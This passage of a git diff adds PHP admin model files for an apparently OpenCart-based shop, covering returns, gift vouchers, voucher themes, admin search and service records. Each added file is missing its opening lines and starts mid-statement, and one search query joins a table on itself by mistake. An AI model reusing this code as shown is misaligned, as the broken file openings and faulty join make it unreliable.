+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalReturns($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "return`r";
+
+ $implode = array();
+
+ if (!empty($data['filter_return_id'])) {
+ $implode[] = "r.return_id = '" . (int)$data['filter_return_id'] . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "CONCAT(r.firstname, ' ', r.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "%'";
+ }
+
+ if (!empty($data['filter_order_id'])) {
+ $implode[] = "r.order_id = '" . $this->db->escape($data['filter_order_id']) . "'";
+ }
+
+ if (!empty($data['filter_product'])) {
+ $implode[] = "r.product = '" . $this->db->escape($data['filter_product']) . "'";
+ }
+
+ if (!empty($data['filter_model'])) {
+ $implode[] = "r.model = '" . $this->db->escape($data['filter_model']) . "'";
+ }
+
+ if (!empty($data['filter_return_status_id'])) {
+ $implode[] = "r.return_status_id = '" . (int)$data['filter_return_status_id'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $implode[] = "DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ if (!empty($data['filter_date_modified'])) {
+ $implode[] = "DATE(r.date_modified) = DATE('" . $this->db->escape($data['filter_date_modified']) . "')";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReturnsByReturnStatusId($return_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "return` WHERE return_status_id = '" . (int)$return_status_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReturnsByReturnReasonId($return_reason_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "return` WHERE return_reason_id = '" . (int)$return_reason_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReturnsByReturnActionId($return_action_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "return` WHERE return_action_id = '" . (int)$return_action_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function addReturnHistory($return_id, $return_status_id, $comment, $notify) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "return` SET `return_status_id` = '" . (int)$return_status_id . "', date_modified = NOW() WHERE return_id = '" . (int)$return_id . "'");
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "return_history` SET `return_id` = '" . (int)$return_id . "', return_status_id = '" . (int)$return_status_id . "', notify = '" . (int)$notify . "', comment = '" . $this->db->escape(strip_tags($comment)) . "', date_added = NOW()");
+ }
+
+ public function getReturnHistories($return_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT rh.date_added, rs.name AS status, rh.comment, rh.notify FROM " . DB_PREFIX . "return_history rh LEFT JOIN " . DB_PREFIX . "return_status rs ON rh.return_status_id = rs.return_status_id WHERE rh.return_id = '" . (int)$return_id . "' AND rs.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY rh.date_added DESC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalReturnHistories($return_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_history WHERE return_id = '" . (int)$return_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReturnHistoriesByReturnStatusId($return_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "return_history WHERE return_status_id = '" . (int)$return_status_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/sale/voucher.php b/public/admin/model/sale/voucher.php
new file mode 100644
index 0000000..97fd867
--- /dev/null
+++ b/public/admin/model/sale/voucher.php
@@ -0,0 +1,103 @@
+db->query("INSERT INTO " . DB_PREFIX . "voucher SET code = '" . $this->db->escape($data['code']) . "', from_name = '" . $this->db->escape($data['from_name']) . "', from_email = '" . $this->db->escape($data['from_email']) . "', to_name = '" . $this->db->escape($data['to_name']) . "', to_email = '" . $this->db->escape($data['to_email']) . "', voucher_theme_id = '" . (int)$data['voucher_theme_id'] . "', message = '" . $this->db->escape($data['message']) . "', amount = '" . (float)$data['amount'] . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+
+ return $this->db->getLastId();
+ }
+
+ public function editVoucher($voucher_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "voucher SET code = '" . $this->db->escape($data['code']) . "', from_name = '" . $this->db->escape($data['from_name']) . "', from_email = '" . $this->db->escape($data['from_email']) . "', to_name = '" . $this->db->escape($data['to_name']) . "', to_email = '" . $this->db->escape($data['to_email']) . "', voucher_theme_id = '" . (int)$data['voucher_theme_id'] . "', message = '" . $this->db->escape($data['message']) . "', amount = '" . (float)$data['amount'] . "', status = '" . (int)$data['status'] . "' WHERE voucher_id = '" . (int)$voucher_id . "'");
+ }
+
+ public function deleteVoucher($voucher_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "voucher WHERE voucher_id = '" . (int)$voucher_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "voucher_history WHERE voucher_id = '" . (int)$voucher_id . "'");
+ }
+
+ public function getVoucher($voucher_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "voucher WHERE voucher_id = '" . (int)$voucher_id . "'");
+
+ return $query->row;
+ }
+
+ public function getVoucherByCode($code) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "voucher WHERE code = '" . $this->db->escape($code) . "'");
+
+ return $query->row;
+ }
+
+ public function getVouchers($data = array()) {
+ $sql = "SELECT v.voucher_id, v.order_id, v.code, v.from_name, v.from_email, v.to_name, v.to_email, (SELECT vtd.name FROM " . DB_PREFIX . "voucher_theme_description vtd WHERE vtd.voucher_theme_id = v.voucher_theme_id AND vtd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS theme, v.amount, v.status, v.date_added FROM " . DB_PREFIX . "voucher v";
+
+ $sort_data = array(
+ 'v.code',
+ 'v.from_name',
+ 'v.to_name',
+ 'theme',
+ 'v.amount',
+ 'v.status',
+ 'v.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY v.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalVouchers() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "voucher");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalVouchersByVoucherThemeId($voucher_theme_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "voucher WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getVoucherHistories($voucher_id, $start = 0, $limit = 10) {
+ if ($start < 0) {
+ $start = 0;
+ }
+
+ if ($limit < 1) {
+ $limit = 10;
+ }
+
+ $query = $this->db->query("SELECT vh.order_id, CONCAT(o.firstname, ' ', o.lastname) AS customer, vh.amount, vh.date_added FROM " . DB_PREFIX . "voucher_history vh LEFT JOIN `" . DB_PREFIX . "order` o ON (vh.order_id = o.order_id) WHERE vh.voucher_id = '" . (int)$voucher_id . "' ORDER BY vh.date_added ASC LIMIT " . (int)$start . "," . (int)$limit);
+
+ return $query->rows;
+ }
+
+ public function getTotalVoucherHistories($voucher_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "voucher_history WHERE voucher_id = '" . (int)$voucher_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/sale/voucher_theme.php b/public/admin/model/sale/voucher_theme.php
new file mode 100644
index 0000000..d3dc3c0
--- /dev/null
+++ b/public/admin/model/sale/voucher_theme.php
@@ -0,0 +1,99 @@
+db->query("INSERT INTO " . DB_PREFIX . "voucher_theme SET image = '" . $this->db->escape($data['image']) . "'");
+
+ $voucher_theme_id = $this->db->getLastId();
+
+ foreach ($data['voucher_theme_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "voucher_theme_description SET voucher_theme_id = '" . (int)$voucher_theme_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('voucher_theme');
+
+ return $voucher_theme_id;
+ }
+
+ public function editVoucherTheme($voucher_theme_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "voucher_theme SET image = '" . $this->db->escape($data['image']) . "' WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "voucher_theme_description WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+
+ foreach ($data['voucher_theme_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "voucher_theme_description SET voucher_theme_id = '" . (int)$voucher_theme_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->cache->delete('voucher_theme');
+ }
+
+ public function deleteVoucherTheme($voucher_theme_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "voucher_theme WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "voucher_theme_description WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+
+ $this->cache->delete('voucher_theme');
+ }
+
+ public function getVoucherTheme($voucher_theme_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "voucher_theme vt LEFT JOIN " . DB_PREFIX . "voucher_theme_description vtd ON (vt.voucher_theme_id = vtd.voucher_theme_id) WHERE vt.voucher_theme_id = '" . (int)$voucher_theme_id . "' AND vtd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getVoucherThemes($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "voucher_theme vt LEFT JOIN " . DB_PREFIX . "voucher_theme_description vtd ON (vt.voucher_theme_id = vtd.voucher_theme_id) WHERE vtd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY vtd.name";
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $voucher_theme_data = $this->cache->get('voucher_theme.' . (int)$this->config->get('config_language_id'));
+
+ if (!$voucher_theme_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "voucher_theme vt LEFT JOIN " . DB_PREFIX . "voucher_theme_description vtd ON (vt.voucher_theme_id = vtd.voucher_theme_id) WHERE vtd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY vtd.name");
+
+ $voucher_theme_data = $query->rows;
+
+ $this->cache->set('voucher_theme.' . (int)$this->config->get('config_language_id'), $voucher_theme_data);
+ }
+
+ return $voucher_theme_data;
+ }
+ }
+
+ public function getVoucherThemeDescriptions($voucher_theme_id) {
+ $voucher_theme_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "voucher_theme_description WHERE voucher_theme_id = '" . (int)$voucher_theme_id . "'");
+
+ foreach ($query->rows as $result) {
+ $voucher_theme_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $voucher_theme_data;
+ }
+
+ public function getTotalVoucherThemes() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "voucher_theme");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/search/search.php b/public/admin/model/search/search.php
new file mode 100644
index 0000000..b0379d4
--- /dev/null
+++ b/public/admin/model/search/search.php
@@ -0,0 +1,87 @@
+config->get('config_language_id') . "'
+ AND ( pd.name LIKE '" . $this->db->escape($data['query']) . "%'
+ OR p.model LIKE '" . $this->db->escape($data['query']) . "%'
+ OR p.sku LIKE '" . $this->db->escape($data['query']) . "%'
+ )
+ GROUP BY p.product_id
+ ORDER BY pd.name ASC
+ LIMIT 5";
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCategories($data = array()) {
+ $sql = "SELECT cp.category_id AS category_id, GROUP_CONCAT(cdpath.name ORDER BY cp.level SEPARATOR ' > ') AS name, cmain.image
+ FROM " . DB_PREFIX . "category_path cp
+ LEFT JOIN " . DB_PREFIX . "category cmain ON (cp.category_id = cmain.category_id)
+ LEFT JOIN " . DB_PREFIX . "category cpath ON (cp.path_id = cpath.category_id)
+ LEFT JOIN " . DB_PREFIX . "category_description cdmain ON (cp.category_id = cdmain.category_id)
+ LEFT JOIN " . DB_PREFIX . "category_description cdpath ON (cp.path_id = cdpath.category_id)
+ WHERE cdpath.language_id = '" . (int)$this->config->get('config_language_id') . "'
+ AND cdmain.language_id = '" . (int)$this->config->get('config_language_id') . "'
+ AND cdmain.name LIKE '%" . $this->db->escape($data['query']) . "%'
+ GROUP BY cp.category_id
+ ORDER BY name ASC
+ LIMIT 5";
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getManufacturers($data = array()) {
+ $sql = "SELECT DISTINCT m.manufacturer_id, m.name, m.image
+ FROM " . DB_PREFIX . "manufacturer m
+ LEFT JOIN " . DB_PREFIX . "manufacturer_description md ON (m.manufacturer_id = m.manufacturer_id)
+ WHERE m.name LIKE '" . $this->db->escape($data['query']) . "%'
+ ORDER BY m.name ASC
+ LIMIT 5";
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCustomers($data = array()) {
+ $sql = "SELECT customer_id, email, CONCAT(c.firstname, ' ', c.lastname) AS name
+ FROM " . DB_PREFIX . "customer c
+ WHERE c.firstname LIKE '" . $this->db->escape($data['query']) . "%'
+ OR c.email LIKE '" . $this->db->escape($data['query']) . "%'
+ OR c.lastname LIKE '" . $this->db->escape($data['query']) . "%'
+ ORDER BY name ASC
+ LIMIT 5";
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getOrders($data = array()) {
+ $sql = "SELECT o.order_id, CONCAT(o.firstname, ' ', o.lastname) AS customer, o.total, o.currency_code, o.currency_value, o.date_added, o.email
+ FROM `" . DB_PREFIX . "order` o
+ WHERE o.order_status_id > '0'
+ AND (o.order_id = '" . (int)$this->db->escape($data['query']) . "'
+ OR o.firstname LIKE '" . $this->db->escape($data['query']) . "%'
+ OR o.email LIKE '" . $this->db->escape($data['query']) . "%'
+ OR o.lastname LIKE '" . $this->db->escape($data['query']) . "%'
+ OR CONCAT(o.invoice_prefix, o.invoice_no) LIKE '" . $this->db->escape($data['query']) . "%')
+ ORDER BY o.order_id ASC
+ LIMIT 5";
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/service/service.php b/public/admin/model/service/service.php
new file mode 100644
index 0000000..518ccad
--- /dev/null
+++ b/public/admin/model/service/service.php
@@ -0,0 +1,399 @@
+db->query("INSERT INTO " . DB_PREFIX . "service SET status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_added = NOW()");
+
+ $service_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "service SET image = '" . $this->db->escape($data['image']) . "' WHERE service_id = '" . (int)$service_id . "'");
+ }
+
+ foreach ($data['service_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_description SET service_id = '" . (int)$service_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['service_store'])) {
+ foreach ($data['service_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_store SET service_id = '" . (int)$service_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['service_image'])) {
+ foreach ($data['service_image'] as $service_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_image SET service_id = '" . (int)$service_id . "', image = '" . $this->db->escape($service_image['image']) . "', sort_order = '" . (int)$service_image['sort_order'] . "'");
+ }
+ }
+
+ if (isset($data['service_download'])) {
+ foreach ($data['service_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_download SET service_id = '" . (int)$service_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ if (isset($data['service_related'])) {
+ foreach ($data['service_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$service_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related SET service_id = '" . (int)$service_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$related_id . "' AND related_id = '" . (int)$service_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related SET service_id = '" . (int)$related_id . "', related_id = '" . (int)$service_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related_product WHERE service_id = '" . (int)$service_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related_product SET service_id = '" . (int)$service_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['service_seo_url'])) {
+ foreach ($data['service_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'service_id=" . (int)$service_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['service_layout'])) {
+ foreach ($data['service_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_layout SET service_id = '" . (int)$service_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ $this->cache->delete('service');
+
+ return $service_id;
+ }
+
+ public function editService($service_id, $data) {
+
+ $this->db->query("UPDATE " . DB_PREFIX . "service SET status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_modified = NOW() WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "service SET image = '" . $this->db->escape($data['image']) . "' WHERE service_id = '" . (int)$service_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_description WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($data['service_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_description SET service_id = '" . (int)$service_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_store WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['service_store'])) {
+ foreach ($data['service_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_store SET service_id = '" . (int)$service_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_image WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['service_image'])) {
+ foreach ($data['service_image'] as $service_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_image SET service_id = '" . (int)$service_id . "', image = '" . $this->db->escape($service_image['image']) . "', sort_order = '" . (int)$service_image['sort_order'] . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_download WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['service_download'])) {
+ foreach ($data['service_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_download SET service_id = '" . (int)$service_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE related_id = '" . (int)$service_id . "'");
+
+ if (isset($data['service_related'])) {
+ foreach ($data['service_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$service_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related SET service_id = '" . (int)$service_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$related_id . "' AND related_id = '" . (int)$service_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related SET service_id = '" . (int)$related_id . "', related_id = '" . (int)$service_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related_product WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related_product WHERE service_id = '" . (int)$service_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_related_product SET service_id = '" . (int)$service_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'service_id=" . (int)$service_id . "'");
+
+ if (isset($data['service_seo_url'])) {
+ foreach ($data['service_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'service_id=" . (int)$service_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_layout WHERE service_id = '" . (int)$service_id . "'");
+
+ if (isset($data['service_layout'])) {
+ foreach ($data['service_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "service_to_layout SET service_id = '" . (int)$service_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('service');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ }
+
+ public function editServiceStatus($service_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "service SET status = '" . (int)$status . "', date_modified = NOW() WHERE service_id = '" . (int)$service_id . "'");
+
+ $this->cache->delete('service');
+
+ return $service_id;
+ }
+
+ public function copyService($service_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "service p LEFT JOIN " . DB_PREFIX . "service_description pd ON (p.service_id = pd.service_id) WHERE p.service_id = '" . (int)$service_id . "' AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ if ($query->num_rows) {
+ $data = $query->row;
+
+ $data['viewed'] = '0';
+ $data['keyword'] = '';
+ $data['status'] = '0';
+ $data['noindex'] = '0';
+
+ $data['service_description'] = $this->getServiceDescriptions($service_id);
+ $data['service_image'] = $this->getServiceImages($service_id);
+ $data['service_related'] = $this->getServiceRelated($service_id);
+ $data['product_related'] = $this->getProductRelated($service_id);
+ $data['service_download'] = $this->getServiceDownloads($service_id);
+ $data['service_layout'] = $this->getServiceLayouts($service_id);
+ $data['service_store'] = $this->getServiceStores($service_id);
+
+ $this->addService($data);
+ }
+ }
+
+ public function deleteService($service_id) {
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_description WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_image WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related WHERE related_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_related_product WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_download WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_layout WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "service_to_store WHERE service_id = '" . (int)$service_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'service_id=" . (int)$service_id . "'");
+
+ $this->cache->delete('service');
+
+ }
+
+ public function getService($service_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "service p LEFT JOIN " . DB_PREFIX . "service_description pd ON (p.service_id = pd.service_id) WHERE p.service_id = '" . (int)$service_id . "' AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getServices($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "service p LEFT JOIN " . DB_PREFIX . "service_description pd ON (p.service_id = pd.service_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && !is_null($data['filter_noindex'])) {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $sql .= " GROUP BY p.service_id";
+
+ $sort_data = array(
+ 'pd.name',
+ 'p.status',
+ 'p.noindex',
+ 'p.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY pd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getServiceDescriptions($service_id) {
+ $service_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_description WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword']
+ );
+ }
+
+ return $service_description_data;
+ }
+
+ public function getServiceImages($service_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_image WHERE service_id = '" . (int)$service_id . "' ORDER BY sort_order ASC");
+
+ return $query->rows;
+ }
+
+ public function getServiceDownloads($service_id) {
+ $service_download_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "service_to_download WHERE service_id = '" . (int)$service_id . "'");
+
+ foreach ($query->rows as $result) {
+ $service_download_data[] = $result['download_id'];
